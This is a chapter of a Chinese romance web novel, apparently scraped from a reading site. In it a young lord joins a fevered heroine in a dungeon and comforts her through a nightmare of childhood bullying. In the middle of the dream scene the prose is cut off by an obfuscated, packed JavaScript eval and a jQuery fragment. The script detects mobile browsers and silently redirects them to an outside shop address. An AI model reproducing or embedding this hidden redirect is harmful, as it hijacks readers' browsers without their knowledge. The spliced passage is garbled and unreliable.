文趣网 > 都市小说 > 怎么与仇人HE了 > 36. 梦魇
    他长身玉立,身着的墨衣虽仅是常服,在他身上却也显出几分纤尘不染之气质。

    几个护院将他团团围住,各自持刀警惕,却不敢再靠近一步,江谨也并不将这些人放在眼中,视线穿过他们,只向高高在上的那位大人。

    孟笙心里一紧。

    怎么会是他?

    他并未被抓,为何要来?

    她下意识朝他的方向挪去几寸,张了张口,想尽力告诉他这些人想杀他,可又知此时并非是好时机,或者说……已然来不及了。

    江谨慢条斯理地走近,闲庭信步的姿态更是与周遭紧张的气氛格格不入,他目光扫过一眼孟笙,最后停留于黄正身上。

    二人此刻相视,江谨眸光并无惧色,反是显露几分犀利。

    “审她多没意思,大人不如直接了当些……”

    他嘴角微扬,伸手将夺来的长剑丢下,掷地“当啷”一响,他竟直接将武器交了出去。

    再下一瞬,清朗的嗓音传来:

    “让本世子来见识见识黄大人的手段。”

    他的双目闪着锐利的光,亮得灼人,还似乎藏着几分难以察觉的兴奋。

    分明这看似是鲁莽之举,可江谨的自信在此时竟让黄正无法怀疑。

    黄正盯着眼前之人不语,暗暗推想着这位江少阁主此番的用意,端详的视线打量着他。

    见他不答,江谨神色从容,继续道:“不过审讯案犯之事还轮不到黄大人插手吧,现今种种,乃动用私刑、严刑逼供之为,黄大人可认罪?”

    闻之,黄正本紧绷着的脸色骤然缓和,直接笑出声来,江谨仅有律法这一筹码便敢只身前来救人,真是狂妄可笑。

    “本官动用私刑?那好,速将这二人关去县衙地牢里,再由太守大人好好审问,势必让这幕后真凶绳之以法!”

    身边的衙役闻此,上前抓起孟笙的小臂欲将她拉起身,孟笙咬着唇忍着痛意,不愿让这些人多碰自己,便一把甩开来,立于原地缓了缓,再朝外走去。

    江谨的余光留意着她,转身跟在她身后,视线无意间扫过地上的刑具,原本平静的神色微动,不自觉微皱起眉。

    他快走两步上前,不着痕迹地扶上孟笙的小臂,使力托着以支撑她的身子。

    “能走吗?”他的语气柔和下来,嗓音仅有二人能听见。

    孟笙停了一停,微微偏过脑袋瞥向身后的江谨,看着此人如此意气用事的模样,一时气上心头,不自觉张了张口,心底之言将要从喉间冲出,却还是未说出口。

    她两只手仍是麻木无感,嘴唇发白,越觉得身子沉重起来,便也未说出让他安心的话,只是继续朝前走。

    二人就这般并肩而行,一步一步,在灯下的影子愈渐拉长。

    黄正盯着眼前之人的背影,紧咬牙关,近乎是从齿缝中冒出字来:

    “真是嚣张,你只等着吧,若你执意害我,我也不会让你好过……”

    —

    地牢中,并不见其他犯人身影,血腥味隐入幽暗之中,耳畔只余似有若无的铁链“哐当”碰撞声。

    一炬残光晃荡,忽明忽暗,似乎下一瞬便会被黑夜吞噬。

    二人一前一后走进一处监牢,已是夜半,狱卒神色略显疲惫与无奈,并未多说废话,一眨眼不见了踪迹。

    孟笙缓缓走到角落坐下,下意识蜷缩起身子,而后抬眼看着他。

    “你为何要回来?”她嗓音微微嘶哑。

    “若不见到我,保不准他们会对你做些什么,”江谨边应着,边整理一旁的草垫,“不过你无需担心,我自有后手。”

    孟笙注视着他的动作陷入沉默,他这一言,莫名叫她浮躁紧张的心平静下来。

    她再想仰起头看清他的脸色,却忽地眼前一花,只得靠在墙上阖目养神。

    江谨察觉不对,放下手头东西,快步上前蹲下身,低头查看她的双手,“伤得重吗?”

    “无妨。”

    想到什么,他稍作停顿,随即抬手以二指试其额头。

    “许是夜间吹了风,这才不适。”她轻声道。

    “烧得厉害,这还不要紧?”

    江谨的嗓音竟忍不住有些着急,随即站起身朝外喊道:

    “来人!”

    片刻,一狱卒探出头,不耐烦道:“吵吵什么!”

    “为她寻个大夫来。”

    “哟嗬!”听他命令的语气,这狱卒暗暗不爽,“边儿去!病不死便白日再谈!”

    江谨心里一恼,“你算什么东西?敢在此口出狂言?孙大人没有吩咐过你么?”

    “你个狱囚还有理了?太守大人可说要我好好照顾你!我自然会好好‘照顾’你!”

    知晓此人会错了孙立城之意,江谨无奈开口:“等等,你过来。”

    不等他再说什么,那人直接打断道:“边儿去!吵老子睡觉。”

    话落,脚步声便远去了。

    “回来!”

    人已走远,监牢内只余他所言的回音。江谨转头看向孟笙,长眉蹙起,神情不掩担忧。

    “撑得住吗?”

    孟笙闭着眼,迷迷糊糊地轻“嗯”一声,实则亦不知自己在答什么。

    见她如此,江谨心下一紧,一时有些失措。

    他左右看了看,再上前两步,整理好地上的草垫,轻声道:“躺下吧,先睡一觉。”

    孟笙微微颔首,只觉脑袋越发沉重,快睁不开眼来,身子发烫无力,任他扶着躺下身去。

    江谨坐于一旁,垂头注视着她,低低地叹了口气。

    将无辜之人害成如此,他该做些什么呢?

    想了想,他脱下外衣,轻轻盖在她身。

    她似乎已睡着,江谨又自顾自垂眸沉思。

    那黄正难缠,断峡村与那铜矿亦不知是何消息,如今只能看这孙立城的了。

    渐觉倦意,江谨准备去另一端的草席处睡下,等白日再寻大夫,临起身时,他最后瞥向孟笙。

    她虽紧闭双目,可眉间惧色尽数显露。双手下意识欲攥紧衣裳,应当是舒缓心中紧张之感,却也因此使手上的疼痛更甚。

    怕她越发难受,江谨轻轻握起她的手腕,将其拉远些,以免她触及手指的痛处,另一手以指腹为她拭去额间细汗。

    似乎是感受到什么,她并未挣扎,双手反倒放松下来……

    眼前景象渐渐清晰,黑得清透,仅有几束光悄悄爬进其中。

    她清楚地知道这是那处地窖。

    “本小姐倒要看看这回你怎么逃出来!”

    听着这声音,孟笙背后莫名冒出些冷汗,鬼使神差地往后看去,一束光照向腐烂的木箱,上边的赤蛇直勾勾盯着眼前之物,扭曲着身子,边慢条斯理地吐着蛇信子。

    “不要……”

    她努力压制着内心的恐惧,下意识想借轻功飞起,可不知为何,她完全动不了,似有千万斤巨石压在她的身体中。

    情况紧迫,那赤蛇瞬时朝她冲来!

    她知道身后是一堵墙,便毫无防备地步步退后,可忽觉脚底一空,失重感涌来,下一瞬,她重重摔落在地,可却并未感受到几分痛楚。

    再一睁眼,眼前是孟昭宁高大的背影,她挺直着背脊,却未往孟笙这儿靠近,只道:

    “孟倾城,非要闹出人命吗?”

    “大姐,我……”

    似乎还有几人,叽叽喳喳的,孟笙听不清在说些什么,她只觉头疼,自地上爬起后便本能地朝后退去,倏然,撞入一个温暖的怀里。

    她急忙转身,眼前两人看不清面容,但她却能感受到他们的目光十分亲切。

    就像是……

    “阿爹?阿娘?”

    她嗓音极轻,像是怕惊动了身边人。

    眼前二人好像说了什么,但她听不清,她下意识迈开步子往前走,可眼前人却逐渐后退。

    她下意识欲追赶,心头一颤,满脑子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792514|209329||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    被慌乱填满,同时一阵窒息感涌上,只能一下子摔倒在地。

    “不可以,不要走好不好……”

    “求求你们不要丢下我一个人好不好……”

    埋头拭泪之时,耳边有什么忽地炸开!

    孟笙下意识缩起身子捂住双耳,余光看向不远处正嬉笑之人。

    “就是个祸星,就该去去身上的邪气!”

    “快将那几个鞭炮也丢到她身边去!还敢去向祖母告状,我要她这辈子都不敢去见祖母!”

    “怎么不早死了好……”

    那些声音像无数根针扎进脑海,她死死捂住双耳,却挡不住铺天盖地的恶意。

    她只能蜷起身子,早已失了气力瘫倒在地,用力捂住脑袋来阻绝远处的声音,可无论她如何做都无济于事,只觉头痛欲裂,她忍不住泪,滚烫的液体落在手背,更像是在灼烧她的心。

    她没有力气站起来。

    她好恨——

    为什么不能站起来。

    “对不起,对不起……”

    “不,不是的……”

    “别害怕。”

    “孟笙,别怕。”

    一道低沉的男声穿透了刺耳的爆竹声,带着熟悉的温度,稳稳地托住了她下坠的心。

    她亦不知那是现实还是幻境,只觉如沐春风。

    “不害怕……”

    “我不怕……”

    她居然一点一点恢复意识,摸索着,以手撑地,眼前蓦地一片漆黑,再一换姿势,跪坐于地深呼吸来缓过劲。

    她睁着眼,忽而能见青丝散落脸颊旁,如荧虫般渺小的光在她眼前浮现,孟笙一面抬手抹去眼泪,一面一遍遍喃喃自语:

    “我不怕,我不怕。”

    四周声音渐渐消失,一切似乎都化为虚无,隐入尘埃。

    —

    听着孟笙断断续续的梦呓,见她脸上的神色缓和了些,江谨眸光微闪,轻轻拢了拢她身上的外衣,使之盖得严实些。

    又不自觉目移向上,眼前人双目微阖、面色惨白,他一下子记起前几日,这张脸上的笑意是那般明艳动人,不知怎的,他心里似乎也跟着抽疼了一瞬。

    江谨眉头一拧,再挪动身子,坐得离她更近了些,顺势揽起她的手腕。

    可此刻她脸上的痛,似乎还与那日在杨府救阿棠之时不同。

    “你从前到底经历了何事?”

    自然无人回应他的低语,他却还是自顾自思索着:

    遭人欺凌、未有父母庇佑,甚至致你不顾一切出逃寻亲……能让你到如今的处境,那一定是个比噩梦还可怖之地。

    可我该如何帮你呢?

    江谨自己都未意识到他盯着她看了这般久,无端的,面对此人,他竟生出了再靠近她一些的念头。

    等等!

    如此失礼的想法一出,他猛地反应过来,咽了咽唾沫,心中暗骂自己:

    到底在做什么!人家是个未出阁的姑娘,摸人家手便罢了,你还要如何出格!

    江谨这一下不知道手该放何处了,又只能往后挪了挪,坐在干草堆上,继续瞧着孟笙可有异样。

    —

    孟笙再睁眼时,发觉自己躺在草垫上,身上盖着一件外衣。

    她动了动身子,才见江谨靠着墙睡在一旁,微凉的手握着她的手腕。

    她抬手想拽开他的手,可一动便是阵阵剧痛,手指皆已青紫得发黑,忍住低吟声,她抬眸看向他的侧脸。

    那么安静,那么温润,似乎只看着他,心便能渐渐静下来。

    “江公子……”

    “江公子?”

    她迟疑一瞬,使力将手腕往里拉去,带着他的身体往旁倒下,着地前的最后关头,他醒了过来,迅速以手撑地,随即缓缓坐起身。

    “你可还好?”江谨松开她的手腕,扶着有些酸痛的腰,不忘问道。

    “嗯——”不等孟笙说完,他的手已覆上她的额头。